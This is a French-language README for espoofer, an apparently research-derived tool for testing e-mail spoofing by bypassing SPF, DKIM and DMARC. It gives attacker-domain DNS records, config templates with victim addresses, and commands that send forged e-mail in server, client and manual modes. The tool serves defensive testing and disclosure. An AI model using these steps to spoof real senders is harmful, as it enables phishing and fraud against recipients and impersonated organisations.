
Un outil de test d'usurpation d'e-mails qui vise à contourner SPF/DKIM/DMARC et à forger des signatures DKIM.🍻
espoofer est un outil de test open source pour contourner l'authentification SPF, DKIM et DMARC dans les systèmes de messagerie. Il aide les administrateurs de serveurs de messagerie et les testeurs d'intrusion à vérifier si le serveur de messagerie cible et le client sont vulnérables aux attaques d'usurpation d'e-mail ou peuvent être abusés pour envoyer des e-mails d'usurpation.
Figure 1. Un cas de nos attaques d'usurpation sur Gmail (Corrigé, Vidéo de démonstration)
L'usurpation d'e-mail est une grande menace tant pour les particuliers que pour les organisations (Violation Yahoo, John Podesta). Pour résoudre ce problème, les services de messagerie modernes et les sites Web utilisent des protocoles d'authentification -- SPF, DKIM et DMARC -- pour empêcher la falsification des e-mails.
Nos dernières recherches montrent que la mise en œuvre de ces protocoles souffre d'un certain nombre de problèmes de sécurité, qui peuvent être exploités pour contourner les protections SPF/DKIM/DMARC. La figure 1 illustre l'une de nos attaques d'usurpation contournant DKIM et DMARC dans Gmail. Pour plus de détails techniques, veuillez consulter notre présentation Black Hat USA 2020 (avec vidéo de présentation) ou l'article USENIX Security 2020.
Dans ce dépôt, nous résumons tous les cas de test que nous avons trouvés et les intégrons dans cet outil pour aider les administrateurs et les professionnels de la sécurité à identifier et localiser rapidement ces problèmes de sécurité.
Version Latex :
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
Version Word :
Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
Version Python : Python 3 (>=3.7).
espoofer a trois modes de travail : serveur ('s', mode par défaut), client ('c') et manuel ('m'). En mode serveur, espoofer fonctionne comme un serveur de messagerie pour tester la validation dans les services de réception. En mode client, espoofer fonctionne comme un client de messagerie pour tester la validation dans les services d'envoi. Le mode manuel est utilisé à des fins de débogage.

Figure 2. Trois types d'attaquants et leurs modes de travail
Pour exécuter espoofer en mode serveur, vous devez avoir : 1) une adresse IP (1.2.3.4) dont le port sortant 25 n'est pas bloqué par le FAI, et 2) un domaine (attack.com).
attack.comselector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.comattack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
Vous pouvez lister l'ID de cas (case_id) de tous les cas de test en utilisant l'option -l :
python3 espoofer.py -l
python3 espoofer.py
Vous pouvez changer case_id dans config.py ou utiliser l'option -id dans la ligne de commande pour tester différents cas :
python3 espoofer.py -id server_a1
Pour exécuter espoofer en mode client, vous devez avoir un compte sur les services de messagerie cibles. Cette attaque exploite l'absence de validation suffisante par certains services de messagerie des e-mails reçus des MUAs locaux. Par exemple, [email protected] tente d'usurper [email protected].
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # Adresse et port du serveur SMTP d'envoi
"username": b"[email protected]", # Nom d'utilisateur et mot de passe de votre compte
"password": b"your_passward_here",
},
}
Vous pouvez lister l'ID de cas (case_id) de tous les cas de test en utilisant l'option -l :
python3 espoofer.py -l
Remarque :
sending_serverdoit être l'adresse du serveur SMTP d'envoi, pas l'adresse du serveur de réception.
python3 espoofer.py -m c
Vous pouvez changer case_id dans config.py et l'exécuter à nouveau, ou utiliser l'option -id dans la ligne de commande :
python3 espoofer.py -m c -id client_a1
Voici un exemple de mode manuel :
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25